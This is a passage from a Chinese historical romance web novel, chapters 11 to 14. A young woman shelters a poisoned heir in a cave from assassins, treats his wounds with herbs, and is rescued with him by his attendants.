她全心全意替叶温凛包扎，根本没注意到叶温凛越来越红的脸。
“世子你中毒了！”楚檀猛然抬起头，倒是令叶温凛措手不及。
她将叶温凛肩膀的一处伤口划开，这处流出来的血不似寻常，不是暗红，竟是乌黑。
是那带有异香暗器所致！
这里划痕太小，她一开始就没在意。
“世子你为何不说？”
楚檀扯下腰带将他的手臂紧紧圈住，防止毒血流向各处，然后毫不犹豫地低头将唇贴在伤口处。
“你，”叶温凛抬手想阻止，倒是让楚檀拉着不放。
“这样也无济于事。”
“呸呸呸。”楚檀将血水吐出来，“可总比什么都不做要好。”
叶温凛见阻止不成，便开始劝她，“这是兰蝎子毒，一中毒便会迅速遍布周身，就算将这毒吸出来，用处也不大。”
“甚至你也会中毒。”
楚檀一顿，又继续吸血吐血，“可我总得做些什么。”
“等等。”看着楚檀执拗行事的他突然发现什么，一把捏住楚檀脸颊，“你舌头受伤了？”
“怎么弄的？”
楚檀左右摇晃来挣脱开他的手，把嘴角流出来的血擦干净才说：“我太害怕了，不小心自己咬到了。”
她就记得兄长说的一句话，遇到危险，切记不能慌乱大叫,她是做不到临危不乱，只能控制自己不发出声音来，不干扰叶温凛。
从一开始她便死死咬着，害怕到不自知，也就没有发现舌头出血。
11. 藏匿
“你不必如此。”
“世子原本也不用救我。”楚檀终于说了出来，“你本来就不欠我什么。”
“我说了，你我既有婚约在身，我救你也是应该的。”
“那我救你不也是应该吗？”
兰蝎子毒已然发作，叶温凛现在没有什么力气，根本阻止不了楚檀继续。
“这不一样，这世间哪有男子要女子来救着的。”
“你还说你不是老古板。”
“我......”
“我不过是把毒血吸出来而来，哪能和世子受的伤相比。”
“这是西域的毒，要是不及时解开，慢慢便会毒发身亡。”
“你死了我也活不了。”楚檀继续，直到流出来的血不再是乌黑方才作罢。
叶温凛：“......”
连日的大雨让这条小溪的水满满当当，楚檀用手捧起水将口里的毒血全洗干净。
又捧起一汪溪水在叶温凛面前，“世子，快喝些水。”
叶温凛愣住没有动。
他一直都知道楚檀很害怕，也能感受到她不停颤抖的身体，只是没想到她的手会抖得这么明显。
而楚檀见叶温凛不喝，以为是他从未喝过，才会抗拒，“这个不脏的。”
“你看。”
她将手里的水喝完，又重新捧起水递到叶温凛嘴边。
“嗯。”
他们今日滴水未进，叶温凛又接连厮杀，消耗过大，楚檀捧了一捧又一捧。
然后顺手还将叶温凛脸上的血擦干净。
叶温凛：“？？？”
“我有些害怕。”她实在是太害怕了，太顺手。
哪怕是再俊俏的脸，沾满血迹也会让人心生怯意，何况现在乃是日落时分，叶温凛的脸只会更让人害怕，不然她怎么敢摸男子的脸。
“姑娘是难得一见的英勇之人。”
她眼睛通红，泪水只含在眼眶，并未落下。
楚檀看着自己的双手，又看看叶温凛。
“英勇的人会这么害怕吗？”
如今她的双手，甚至身体，依旧控制不住的颤抖。
“当然，”叶温凛笑得真诚，一边点头一边夸她，“姑娘既英勇无畏又冷静从容。”
与叶温凛说话声同时响起的还有雷声。
雷声轰隆，震响天际。
楚檀：“......”
叶温凛：“......”
楚檀悠悠叹口气，“这是连上天都听不起去了。”
叶温凛笑得开怀，“碰巧而已。”
“怕是风雨将至，我们当务之急是找个地方藏起来。”
“好，”楚檀又将叶温凛扶起来，还顺手拿了根树干当拐杖。
“今年雨水怎这般多？仿佛就没停过。”
“是啊。”叶温凛低声说道，“再这样下去恐有天灾。”
“什么灾？”叶温凛说得小声，楚檀没听明白。
“嗖——嗖——”
“什么东西！”
倏忽之间，楚檀的脑袋像被提了起来，扶着叶温凛的手瞬间捏紧了。
“是野兔。”
“野兔？”
只是野兔吗？
兔子像是为了印证叶温凛的话，以迅雷不及掩耳之势在从中窜了起来。
“真是野兔。”楚檀拍了拍自己的脸，试图让脑袋回归。
顿时，她感到肩膀沉重了不少。
叶温凛不像方才虚虚靠着自己，现在的他面色苍白，手脚无力，不得不奄奄一息地依靠在自己身上。
“世子！”
楚檀原想丢开树枝双手去扶叶温凛，却瞥见草丛中隐约有一道缝隙。
她用力稳住叶温凛，将树枝挑开刚刚半人高的草丛，只见里面别有洞天，是一处半米高的洞穴。
“世子快看。”楚檀一脸惊喜，眼里的光彩愈盛，“我们有落脚的地方了。”
叶温凛嘴角苍白，虚弱扬起笑，“多亏姑娘。”
入口只容一人进。
“世子快些进去。”
楚檀让叶温凛先进去，他不肯，坚持要楚檀先进去。
“姑娘先进去，我来善后。”
那处洞穴看起来不大，不一定能容得下他们俩人。
楚檀不知道叶温凛要如何善后，只好答应先进来，她弯腰一爬进去便觉视线昏暗，只能摸索着往里走。
她在心里祈祷，洞里可别有蛇鼠之类的，好在几步之内，并无异常。待眼前一片黑暗时，楚檀一鼓作气爬进里处。
洞口小，里面却很深，只是泥土微微湿润，不适合叶温凛养伤。
“世子，快些进来，这里很深。”
楚檀尽可能缩在一边，让叶温凛等会进来有地方可待。
叶温凛平日里虽是文人打扮，但其身量修长，挺拔如松，连楚檀都要爬进去的地方，叶温凛要想进来就更加艰难了。
加上他身上本来就有伤，行动不快，当远处传来阴气森森的声音时，叶温凛还没完全进来。
“都给我搜，他居然敢杀了我两位师弟，我定要将他们碎尸万段。”
“快找。”
“活要见人，死要见尸。”
洞里一片漆黑，楚檀看不见，却清晰地听见叶温凛的呼吸声，可她伸手够不到他！
世子的伤怕是更加严重了，她得赶紧把人带进来。
楚檀接着往外爬，待碰到叶温凛的脸时，发现他的脸烫得厉害。
情况危急，两人默契地没有发出声音来，楚檀抓着叶温凛的右手臂往里拖。
不行，纹丝未动，世子他太沉了。
楚檀只能另想它法，她把叶温凛的手掌放在自己的背上拍了拍，示意他靠着自己的背。
希望世子他能明白自己的意思，她此时是万不敢开口说话的。
好在叶温凛一向聪明懂人心，他撑起手将自己的上半身靠在楚檀的背上。
楚檀不做他想，将叶温凛较完好的右臂放在腰间，又拍了拍他，想他抓紧自己。
叶温凛“......”
自己是有些神志不清了，但也知道这过于亲密了。
楚檀感受不到叶温凛的力气，以为是他昏过去了，吓得她反过来按着他的手臂贴近自己腰间。
这样她就往里爬也容易些许。
那越来越近的脚步声如同催命符一般催着楚檀，她半跪着背着叶温凛往里躲，耗尽了所有力气。
男子都这般重的吗？还是习武之人才会如此？
楚檀累得不像话，她头低着泥土内壁小声喘息，由着叶温凛靠在她背上。
外面的人声脚步声，杂交错乱，来来回回搜查了几遍，楚檀的心跟着起起伏伏，无时无刻不再担心他们会被发现。
直到她歇息够了，脚步声也越来越少。
她才打算把叶温凛放下来，她慢慢挪动自己的身子，手别在身后扶住他。她小心翼翼不让叶温凛再受伤，可到头来，却被叶温凛的发冠戳到眼睛。<
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p>好疼。
眼睛好疼，舌头也好疼，她又吓得咬到舌头，鼻尖闻到的血腥味也越发重了。
也不知世子还好吗？
她的手掌在黑暗里摸索着，指尖点到叶温凛的耳廓，又顺着下去捧起他的脸颊摇了摇。
“世子？世子？”楚檀的把声音压得很低，怕是只有她自己可以听见了。
这次叶温凛是真昏过去了，不然他怎会让人碰到他的耳朵。
楚檀连喊了几声，叶温凛都无回应，回答她的只有哗哗雨声。
下雨了，一场极大的雨，倾盆而下。
大雨拖住了刺客的脚步，也冲刷了他们的痕迹，还能遮盖一些声音。
“世子，醒醒，醒醒啊。”楚檀又唤了叶温凛许久。
叶温凛悠悠转醒，察觉到他们在一个暗无光日的地方，索性闭上眼睛，“是不是吓到你了？”
“世子醒来就好，”楚檀嗫嚅几息，“我以为你中毒就，就会醒不过来了。”
“这毒并不会马上要人命，只是会慢慢失去力气，陷入昏迷。”叶温凛声音越来越微弱，“不要担心。”
“世子！”
楚檀又摇了摇叶温凛，这次他彻底没了声响。
有了叶温凛前面的解释，楚檀好歹不那么怕了，稍稍放下的心，也想睡一会。
她心想这个洞穴实在隐秘，那些刺客居然怎么也找不到他们。
不过一旦被发现，他们就是死路一条。
随着思绪越来越乱，睡意如春日雨将她淹没在梦境中。
可她没睡多久，身子似被被石头着，气闷极了。
外面不知什么情况。
楚檀绕过叶温凛爬到洞口想查看一番，待她吸入林中气息时，发现胸闷气短竟是在里面待着的缘故。
她又折腾了大半响，才把叶温凛移到洞头附近，她背靠洞口一侧，将叶温凛的头枕在自己膝间，洞口的泥土更湿润，就算是身体强壮的人睡上一晚也是受不住的。
可时间一久，楚檀的膝盖也开始麻木，叶温凛没了意识，不能像自己一般靠坐，她要是想膝盖轻松些，就得像叶温凛一般躺着。
这场大雨到了夜晚方停，今日十五，月光倾斜，星辰闪烁。
楚檀与叶温凛离得很近，姣姣月光透过草叶晒在叶温凛脸上，肌肤如玉如丝，光泽温润。
她听见有声音在耳旁敲打着，一时心绪难安。
抬头一看，原来又下起了雨，雨点从上划过树叶，淅淅沥沥。
隔太近了。
楚檀红着脸恢复原来的姿势，她把手轻轻撩开草丛，看着静谧的树木，实在不知道该怎么办。
世子如今身受重伤，是不能再奔波了。
她能不能跑出去？能不能找到青鹰青玉？能不能躲过那些刺客？
楚檀脑子纷乱，直觉按兵不动才是她应该做的，可她不敢拿他们的性命做赌注，就眼巴巴等着叶温凛醒来，告诉她如何做才是最好的。
可到了后半夜叶温凛毫无醒来迹象，她最终熬不住睡了过去。
晨光熹微，楚檀一觉醒来发现自己紧紧贴着叶温凛，两人姿势暧昧，可她来不及害羞。
只因叶温凛身体越来越烫。
“世子，世子。”楚檀的眼泪止不住往下掉，她后悔万分，她怎能就让人就这么躺着，叶温凛身子还这么烫，她不仅没半分察觉，自己还贴上去。
会不会压到伤口了？
楚檀来不及擦干眼泪，下一刻就往叶温凛身上摸去。
12. 玉佩
她摸到黏黏糊糊的东西了。
晨光透过缝隙捕捉到她手心那刺眼的红，是血。
楚檀眼泪流得更厉害了。
“对不起，对不起。都怪我。”
她昨日怎么能睡得那么沉？
“要怎么办？怎么办？”她用力敲敲头，开始自问自答，“先止血，先止血才行。”
昨日本就是匆匆包扎过，今日同样的法子肯定是不行了，她决心到林中寻些止血的药草。
世子不能死！
这样好的人怎么能把性命留在此处，她还等他养好伤带她去寻爹爹。
绝不能！
叶温凛要是知道楚檀心中所期，也不知会有何感想，他这一生，就连至亲之人都盼着他去死。
楚檀又念叨几句。
他似有所感，慢慢睁开双眼，映入眼帘的是暗沉的泥土洞口，余光不见人影，仿佛他沉睡时所听到的女声是幻听一般。
她也走了吗？
他在心里自嘲，自己平日可是不够以礼待人？要不然怎么离开了也不同自己打声招呼。
外头的楚檀皱皱鼻子，连打几个喷嚏，她揉揉阵痛的头，越发肯定叶温凛痛不欲生，于是加快脚步，找起药草来。
在深山里中睡上一晚可是遭罪。
好在用来止血的药草并不是稀罕物，她没用多久就凑够了。且林中杂树繁多，她甚至还摘到几个野果子。
这让楚檀大喜过望。
以至于叶温凛再次见到楚檀时，有些恍惚。
楚檀发髻凌乱，唯有一对眼眸神采奕奕，一如初见。
她如今处在绝境，怎么还笑得出来。
“世子你终于醒了，太好了。”
“你身子可还好？”
“你头可痛？”
叶温凛：“......”
楚檀看到叶温凛醒来，更是惊喜，她连忙爬进去，拉住他解血布的手，“我来，世子先吃个果子。”
“给。”
叶温凛看着楚檀手心的野果，摇摇头。
“世子不要嫌弃，”楚檀见叶温凛不要，把果子凑到他眼前劝他，“饿着肚子多难受。”
叶温凛依旧没要最好的那颗，随意挑了一个，“外面危险，你怎么出去了？”
“你的伤口又出血了，我出去采了些药草。”
想起叶温凛伤口出血的原因，楚檀低下头，不敢看他。
但还是小心地提醒叶温凛，“那个酸。”
不过已经迟了。
“嘶～”
“世子吃这个吧，”楚檀再次举到叶温凛面前，“我喜酸，吃那些刚好。”
“楚姑娘。”
“你别不信。”楚檀想快些替叶温凛包扎，三下五除二便消灭了其余的青果。
她吃起酸果来面上波澜不惊，吃完还得意地向叶温凛挑挑眉。
叶温凛这才接下那颗大果。
一旁的楚檀用石头将药草碾碎，捣鼓了半天，终于将叶温凛身上流血的地方包上。
“多谢。”
楚檀还没松口气，就发现叶温凛的脸比刚才红了许多。
“世子的脸？”楚檀刚想上手，看着对方的脸又立刻握成拳，“可是那毒......”
“不是，”叶温凛别过头，“姑娘还会医术？”
“不会。”她哪有那本事。
“我只认识些普通的药材，这还多亏兄长，他常年习武，免不得会受伤，我为省些银钱，就在家中种了些药草。”
“对了，世子可知如何解你这毒？”楚檀眼里希望越盛，“我见这林中药草极多，说不定有解毒的草药。”
“世子知道吗？”
“外面太危险了，你已经出去过一趟，不可再轻易行动。”
“所以世子你真的知道！”
叶温凛：“......”
他竟让她套出话了。
楚檀不像开始那般谨慎，她今日出去就没有遇到一人，她此时认定出去采药才是上策，便想问出解药的模样。
那模样，似乎中毒的是她不是叶温凛了。
楚檀还在耳边滔滔不绝，叶温凛在心中权衡利弊，要是能找到解药也好，他这么一直昏睡下去终究不是办法。
青鹰青玉他们还未寻来，也怕是凶多吉少。
思及此处，叶温凛问道：“姑娘可知英草？”
“英草？”楚檀惊喜不过一瞬，又有些泄气，“从未听过。”
“它长什么样？我去寻来。”
叶温凛细细将药草的外形说了一遍后，熟悉的眩晕感袭来，他暗叹不好，“姑娘要留意......”
还未说完，他又晕了过去。
留意什么？
*
下雨了，和昨日一般的大雨。
楚檀不得已收回脚步，正当她埋怨上天不长眼时，昨日的刺客又回来了！
甚至离洞口只有几步距离。
昨日的遭遇还历历在目，楚檀内心的恐惧浮了上来，她的手脚又开始不受控制地颤抖。
“都给我再找，找！”
“老大，雨下得太大了，根本找不到他们。你说他们会不会跑出去了？”
“他们肯定还在林子里，外面都是我们的人，而且从打斗迹象来看，叶温凛绝对是受伤了，他们现在肯定藏在某个地方。”
楚檀将他们的对话听得一清二楚，眼里的期冀在洞穴里不见踪影。
可入夜后，她还是鼓起勇气出去了，无他，饥肠辘辘的肚子不能再等了。
走之前楚檀将她怀里的玉佩拿出来系在叶温凛腰间，玉佩材质只算得上中等，却是却是她极其宝贵的物件。
她系好后，弯下腰轻声在叶温凛耳边说道：“世子，我出去把英草采回来，你且等等。”
也不管叶温凛是否听得见。
她很怕，怕饿死，怕会被抓，怕叶温凛死，怕找不到爹爹和兄长，她只怕她这一次出去会一去无回。
可她现在别无他法，身体不允许她再等了，趁着还有些余力，就算再遇到那些歹人，也能跑一跑。
把这玉佩放在叶温凛身上，一来，要是叶温凛再次醒来，也会知道她并非忘恩负义。
二来，就算真她有个好歹，回不来。
要是叶温凛能够脱险，也希望他看在她尽力照顾他的份上帮她找到爹爹。
万一，万一。
要是她与叶温凛同时遇害，临阳王府或许不会找她，但绝对不会放任世子不管，留下玉佩，或许也能给父兄一个念想。
“岁岁年年，万喜万般宜。”
楚檀出来之际又再看了眼玉佩，心里念着玉佩上的贺词。
“万般宜。”
娘亲，保佑孩儿此次顺利。
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林中静的不可思议，地上全是脚印。
她借着月光偷偷摸摸寻了将近两个时辰，待找到叶温凛所说的英草时，楚檀的后背已经湿透。
楚檀的心跳声在林中显得极其清晰，像是鼓一般敲打着自己。
有救了，世子有救了。
楚檀连忙回去，把英草给叶温凛敷上。又重新换了一次药。
只是这次轮到楚檀脸颊发烫。
她以往都是白日里帮兄长敷药，是以替叶温凛敷药时她并未多想，不过情况危急，也不由得她多想。
可这次，就着月光，给昏迷的叶温凛换药，实在羞人。
给叶温凛喂水时，楚檀直呼罪过罪过。
楚檀这一折腾，又累又饿，她吃了几个果子，躺下歇了会。
有了前车之鉴，楚檀几乎没敢睡沉，她曾数次醒来查看叶温凛的伤势，没有问题便会继续睡下。
直到这次她发现她又贴着叶温凛了。
还好这次没有重蹈覆辙。
她红着脸想要离远些，却猛然发现叶温凛的气息十分微弱。
叶温凛彻底失去意识前闪过一个念头，他很累很累，他想歇一会，好好歇一歇。
要是能睡些久就更好了。
无奈耳边不断传来哭声，扰得他睡不踏实，他有些恼怒，“别哭了。”
“世子你终于醒了，”楚檀根本听不出叶温凛的抱怨，“你醒来就好，我以为你再也醒不来了。”
之前也是这样，明明还跟她好好说话的人，突然就躺在床上没了声音。
叶温凛还有些气，不想理她这些话，“你回来了？”
楚檀忍不住直点头，“回来了，我找到你说的英草。”
她将那还没碾碎的药草给叶温凛看：“是这个吗？”
良久，叶温凛开口：“不是。”
楚檀：“！！！”
“是这个。”叶温凛从楚檀手里一堆的药草选出一株，“它们长得极其相似，但只有这种才是英草。”
“对不起，对不起。”楚檀连忙伸手去解叶温凛的衣袍，一边跟他道歉一边摘掉他身上的草药。
“是我当初没有说清楚就晕过去了，这不怪你。”
“可是因为这个让你身体虚弱。”
“不是，是兰蝎子毒。”
“那可有害？”
“无害。”
就是有些痒。
叶温凛看着楚檀一脸自责，挑出其中的药草，递给楚檀，“姑娘可能帮我把这英草碾碎？”
“好。”楚檀边砸药草边发誓，“等我们回去，我定会把所有医药书买来，好好看，好好认草药。”
“绝不对让这种事发生第二次。”
“不用买，”叶温凛看着楚檀停下来的手，接着说道：“青玉全都有，他还有外面买不到的孤品。”
“青玉会医吗？”
“会，他从小跟着他父亲学医，在这方面天赋极好，比一般医者的医术还要好上许多。”
“那要是我想学，可否去请教他。”
“可以。”
“我要给多少束脩才好？”
“十个铜板。”
“十个铜板？”
......
后来，楚檀和叶温凛忆起这件事，还觉得有些好笑。
这么危急的时刻，他们竟然还有心情闲聊。
13. 得救
叶温凛的情况有了好转，不似先前没了意识，他虽依昏迷着，却知道楚檀说了什么，做了什么。
以至于当楚檀听见青鹰的声音，想要高喊时，叶温凛轻轻动了动脖颈。
要不是现在叶温凛还靠睡在楚檀膝间，她怕是感觉不到。
楚檀低下头，见叶温凛闭着眼睛直摇头，她立刻警觉起来，闭声静观其变。
“世子。”
“世子，你在哪啊？”
楚檀闪过许多想法，叶温凛拉着她不见青鹰，是为何？
她拉过叶温凛的手，在其手上慢慢写下一字。
看着叶温凛又轻轻点一点头，楚檀顿觉后怕。
她写的那一字，
是“歹”。
青鹰是刺客？
楚檀往里缩了缩，不自觉握紧了叶温凛的手。
叶温凛任由她捏着自己，指尖感受她散发出来的寒意。
于是回握。
两人皆不做声，只是感受着彼此的冷暖。
刺客呼喊无果，离去，消失。
“世子，他们走了，”知道叶温凛醒来，楚檀将他扶起，“先吃些东西吧。”
叶温凛：“好。”
楚檀啃着野果，“世子，等我吃完再给你换一次药？”
如今只能先养伤，走一步看一步了。
叶温凛：“好。”
怎么自己说什么都是好？
“世子？”
叶温凛：“好。”
楚檀：“......”
怎么开始说胡话了？
“世子，世子。”
楚檀：“！！！”
青玉！
那青鹰才刚走没多久，现在又来一个青玉，楚檀简直欲哭无泪，她怎么分得清是敌是友。
可此时无论她怎么用劲，都唤不醒叶温凛。
偏偏又怕他被自己惊醒发出声音，索性把手盖在他微凉的唇上。
“世子，你在吗？”
“奇怪，应该就是在这里啊。”
楚檀听着那声音，竟是直径走向他们，越来越近的脚步声，每一步都像是在告诉楚檀今日就是你的死期。
要是被发现了，只会是死路一条。
可是她还没活够，也还没找到爹爹。
楚檀这两日不经意总会想到，他们追杀自己会不会与爹爹有关？
爹爹现如今怎么样了？兄长会不会也遭遇不测？一想到爹爹可能被他们所害，楚檀怯弱的眼里竟生出一股狠厉。
她身子往前倾，一手紧紧握住匕首，双眼死死盯着洞口，只要这歹人掀开草丛，她就一刀捅过去。
来个鱼死网破。
“世子？”
“世子？”
她手心似乎在冒汗，她吞了吞口水，又捏紧了匕首。
“在这吗？”
眼前的草丛马上就要被掀起，楚檀高高举起手，眼睛满是泪和血丝。
“世......”
楚檀下手自认是没有一丝犹豫，可她低估了来人的反应。
青玉沿着世子留下的标记追到这里，方才掀开草丛感受到浓浓的杀气，还没看清里面的人，手里的银针本能地甩了出去。
正刺中眉心。
“楚姑娘！”青玉看着两眼一翻的楚檀大惊。
*
待叶温凛醒来，他已不在山洞，而是躺在一间破败的小屋。
青玉热泪盈眶，“世子你终于醒了。”
叶温凛:“......”
“你这是做什么？楚姑娘呢？”
“在你旁边，”
“睡着。”
“这，你，你怎么把我们......”叶温凛用手遮住眼，有些语无伦次。
“这里简陋，有一张床就不错了，而且地上湿冷，不宜养伤，我总不能把楚姑娘放地上吧。”
青玉在心里暗暗唾弃，不是刚刚还抱一块吗？这会倒是矜持起来。
叶温凛沉默一会，像是默认了青玉的做法，“她怎么样？”
“致命伤没有，小磕小碰不少。”
“其余的伤都包扎过了，就是后背的淤青擦伤要世子帮忙。”
擦伤？
进山洞前他并未在她身上见到伤痕，难道是采药时受的伤？
虽说让一个重伤之人帮忙敷药是一件很不厚道的事，但青玉还是硬着头皮说道：“虽不致命，但还是尽早上药的好。”
说着把旁边的药端起来，举到叶温凛前面，一口气反过来吩咐，“楚姑娘的伤就麻烦世子了。”
“这些小事本不应该麻烦世子，但楚姑娘毕竟是未来世子妃，属下不敢不敬。”
他是医者，对给女子上药此事并不在意，可他不在意，叶温凛不在意，并非就意味着楚檀不在意。
这世间对女子多加苛刻，女子肌肤外人不可见的观念根深蒂固，他不得不谨慎对待。
叶温凛揉揉眉心，无奈，有着与青玉一样的担忧，“你先出去。”
“等等，先扶我起来。”
叶温凛极少这般左右为难，他双手停在空中不知所措，不知怎么替女子上药。
“楚姑娘。”他试图叫醒她。
罢了，他皱着眉转向一边暗想，叫醒她也徒劳，要是她自己处理好，怕是在洞中就敷好药了。
他这般劝自己，动起手来也就没那么不自在了。
青玉在屋外等了小半个时辰，很是不解，不就两处伤，哪需要这么久，“世子，好了吗？”
青玉呼喊了几声都未见回应，他下意识地以为是他家世子又晕了过去。
“世子？世子？你还好吗？”青玉接连拍了拍那腐朽得不成样的门，声音有些焦急。
“我饿了，你去找些吃食来。”
青玉被叶温凛这不相干的一句弄糊涂了，“世子真的你还好吗？我进去看看，你是不是还有其他伤。”
“本世子好得很！没有伤，你快去！”
“啊，好好好，我去。”
被无缘无故吼了一声的青玉一脸莫名其妙，边往外走边嘀咕，真是奇了怪，以往饿了这么久的世子脾气也这么大吗？
直到他回来，见到一脸平静，但耳尖微红的叶温凛才了然。
原来他家世子是害羞了。
叶温凛耳尖的红潮随着日暮降临退却，楚檀一睡到了半夜。
梦境里到处都是猩红的血迹，爹爹、兄长、小寇，甚至家中的花草，都沾满了。
至于叶温凛，则被自己捂住嘴，挣扎不开，窒息而亡。
楚檀一个激灵被惊醒，她转头看向旁边的人，抬起手下意识要去查探叶温凛的鼻息。
叶温凛方才喝了药，正是昏昏欲睡时，鼻尖就碰到一处冰冷，他拿开楚檀的手，缓缓睁开眼睛，“青玉帮我解了毒，别担心。”
“青玉？”楚檀有些窘迫收回手，想起来晕过去之前见到的人，“是青玉救了我们？”
“是，”叶温凛不欲多说，又闭上了眼，“现在怕是寅时，离天亮还早，再睡会吧。”
“好。”楚檀面上乖乖应着躺下，心里却是惊涛骇浪。
怎好了！他俩现在可是一张床上！
床很小，堪堪容下他们两个，他们又离得很近，楚檀的耳旁脖颈似乎都是叶温凛的气息。
她崩溃地想，她哪能睡得着，之前情况危急，性命危在旦夕，她无时无刻不在担心小命不保，哪里管得着男女之防。
可如今，叶温凛毒已解，青玉也回来了，他们还躺在一处，她这心中着实别扭。
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楚檀睡不着，叶温凛也睡不着。
楚檀似乎听见叶温凛很轻的叹气声，“可是睡不着？”
“扰到世子了？”
她明明没有动。
叶温凛撑起手起身，“我们尚未成亲，如此这般到底不合礼仪。”
“我还是到地上睡罢。”
楚檀哪敢让叶温凛在地上睡，一把按住他，指向床头微亮的烛火，“只是有光亮睡不着而已。”
叶温凛瞧了她良久，“如此吗？”
“是，”楚檀装模作样的躺下，紧紧闭上眼，“劳烦世子了。”
她这几日几乎没怎么睡，再次进入梦乡不过是半炷香后。
叶温凛一双眼睛在黑暗里依旧亮如星子，内心思绪万千。
她入睡这般麻烦，看来成婚以后，还是分房睡更好。
还不知道要被分房的楚檀一夜安睡，待她醒来，身边早不见人影。
她吸吸鼻子，揉着眼睛往外走，“世子？”
只见叶温凛青玉两人在屋外生了一堆火柴，干柴噼里啪啦，架上烤着一只兔，肉香四溢。
“楚姑娘。”
“楚姑娘醒啦，”青玉招呼她过来坐，“给，吃个兔腿。”
“多谢。”
“怎么样？好吃吗？”
“好吃！”
“真的吗？”
“真的，我还是第一次吃到如此酥脆的烤兔肉。”
楚檀十分给面子，对着青玉一番夸奖。
青玉自觉烤兔手艺极好，对楚檀的赞许很是满意，他如今算是有地方发挥了。
楚檀捧着兔腿暗中留意叶温凛，她与青玉二人絮絮叨叨说了许多，竟不见叶温凛说一句。
“怎么了？”
楚檀暗叹，她不过悄悄看了一眼，这就被发现了。
“你的伤口，伤口可有流血？”
她睡得沉，也不觉得冷，怕是又压到他伤口了。
“没有。”
“真没有？”楚檀停下嘴里的活，开始认真打量他，今日世子话少，可是在气她？
叶温凛听后反而不动了，看着自己笑意微微，楚檀颇为奇怪，“青玉能打过青鹰吗？”
“虽然不能。”
但是他为什么要打过得过青鹰？
“青鹰。”
青鹰疑惑楚檀看见自己就如见鬼一般，不过在叶温凛抬手示意他不要动时，他还是停在他们几步开外。
“怎么回事？”楚檀看着叶温凛不明所以。
“昨日太迟，没来得及跟姑娘解释，我们昨日遇到的不是青鹰，他们虽然声音相似，但不是同一人。”
“那声音也太像了。”
楚檀细细想来，还是觉得昨日的人就是青鹰。
“是很像，不过他从小便跟在我身边，我还从未听过他那么喊过，”叶温凛一板一眼地学着那歹人，“世子，你在哪啊~”
楚檀忍住笑，“好像有理。”
不知为何，看着此时的叶温凛，她觉得他又是那个平易近人的世子了。
青鹰狠狠皱眉，对叶温凛的玩笑很不满。
青玉倒是笑得放肆，“他成天板着个脸，确实不会这么情真意切地呼喊。”
“即使如此，那是我误会了。”楚檀十分庆幸，尔后对青鹰惭愧道：“对不住，对不住。”
青鹰摇摇头，面上毫不在意。
“所以姑娘昨日拿刀砍我是因为有人假扮青鹰吗？”青玉做恍然大悟状，“以为我也是刺客吗？”
楚檀更羞愧了，“是我太鲁莽了，对不住青玉。”
“姑娘谨慎，自是极好，可是青玉，”叶温凛拉回楚檀坐下，笑得意味深长，“你昨日做了什么？”
青玉：“......”
14. 歇息
叶温凛：“青玉！”
青玉：“对不住！”
楚檀：“无妨！”
叶温凛话音刚落，青玉就向楚檀一躬身。
楚檀还来不及想青玉对不住她什么，就被他洪亮的声音一惊，下意识的摆手。
“把姑娘你扎晕了也无妨吗？”
“......无妨。”
原来是这件事，楚檀不觉青玉需要道歉，毕竟她也动手了。
“世子你看，楚姑娘都说无妨了。”出门在外，青玉没有像在京城那般规矩。
叶温凛还是意味深长的笑着，青玉看着世子，不知怎么想起昨日的情景，突然恶从胆边生，“让世子帮你上药也行吗？”
楚檀呆住，上什么药？
叶温凛扶额无奈，他不过是让青玉为昨日刺晕楚檀道个歉，却不想他会把上药之事说出来，虽说自己本就要有所交代。
楚檀手里的兔腿突然变得难以下咽，难怪她今日身子爽利许多，她原以为是休息好了，原来还有药草的缘故。
她最后一次采药时不慎滑倒，整个人倒在乱石上，当时又怕又急，根本顾不上这点小伤，爬起来回了山洞便忘了。
可需要上药的地方只有后背一处，不，快到前胸了。
楚檀的脸腾地一下就红了，她在心里一个劲的安慰自己，叶温凛是要与自己成亲之人，无甚关系，无甚关系。
她越想越羞，实在不知怎么面对叶温凛，干脆低着头跑进屋里头。
“我再去歇会。”
“姑娘请便。”
叶温凛瞥见楚檀进屋，淡淡对青玉说道：“我本不想计较你诓骗我楚姑娘伤在后背，但你这次是僭越了。”
“青玉知错。”
他要是说清楚了，世子怎会帮楚姑娘上药，而且哪里没有计较他了？
“这三个月的俸禄你就别想了。”
“不要啊。”
“半年。”
“...属下知错，三个月就三个月。”
教训完青玉，叶温凛进屋找楚檀商量之后的对策。
“楚姑娘？”
这是睡着了？
楚檀安静躺在床里侧，双手规矩放在腰间，仰面朝上。
她睡觉还真不能有一丝光亮，竟用青丝覆在闭上的双眸上，惹得叶温凛一阵惊奇。
既如此，叶温凛三人各自整顿休息。
青鹰青玉两人中途被分开，连日奔波寻人，属实是辛苦了。
楚檀第一个醒来，是被渴醒的。
她睡眼朦胧的出门，眯着眼睛还没走几步，就见枯井边的绳好像在动。
待她看清，眼睛一下就睁大了。
“啊~”楚檀尖叫着往回逃，脸上还有些扭曲。
那哪里是会动的绳，分明是要命的蛇啊!
如井绳一般粗，又是棕褐色的蛇。
一看就含剧毒！
尖叫声一出，叶温凛瞬间睁开了眼，他赶忙起身查看，莆一开门，就撞上飞奔回来的楚檀。
“快进去！快关门！”楚檀不由分说揽着叶温凛的腰就往里走，也不管叶温凛有何反应。
她抱着人，也不知道让谁去关门。
叶温凛猛地被楚檀抱着，直往后倒退。
井边的蛇蜿蜒迂回，迅速爬行跟着楚檀，朝着他们张开血盆大口。
叶温凛一手回搂楚檀的腰，不让她再往里，一手自然而然拔下她发簪向门口的蛇刺去。
银簪带着旋风如弓箭一般将毒蛇刺进树干，他扎得深，任凭毒蛇怎么挣扎也挣扎不开，只能干朝他们嘶吼。
见蛇死，叶温凛拍了拍楚檀肩膀，安慰道：“没事了。”
楚檀缓缓往回看，见刚刚凶猛危险的毒蛇被钉在树干上一动不动，还是有些不放心。
她松开手，快速跑过去把门关上，后怕地拍拍胸口，“这就是老村长说的毒蛇吗？”
她还是头一次见那么大的蛇！
“许是，”叶温凛把银簪拔下来，破天荒地有些窘迫，“这？”
他这已是第二次让她的发簪染血了。
“无妨，洗洗就好。”
要不是叶温凛出手，被它咬上一口，一定一命呜呼。
楚檀摆摆手表示不在意，一个银簪哪有命重要。
“我洗洗就好。”楚檀说着，用两根手指想要捏回自己的发簪。
“我来吧。”
“多谢。”楚檀很是干脆。
青鹰青玉回来见到他们十指不沾阳春水的世子竟在替姑娘洗发簪时，不由得大吃一惊，面面相觑以为是自己出现了错觉。
“世子你这是做什么？”
“没什么，”叶温凛甩掉发簪的水，擦干递给楚檀，接着指向一旁，“有蛇。”
“天还未热，怎么就有蛇出现了？”青玉行至蛇尸前，“不会是那群人找上来了吧？”
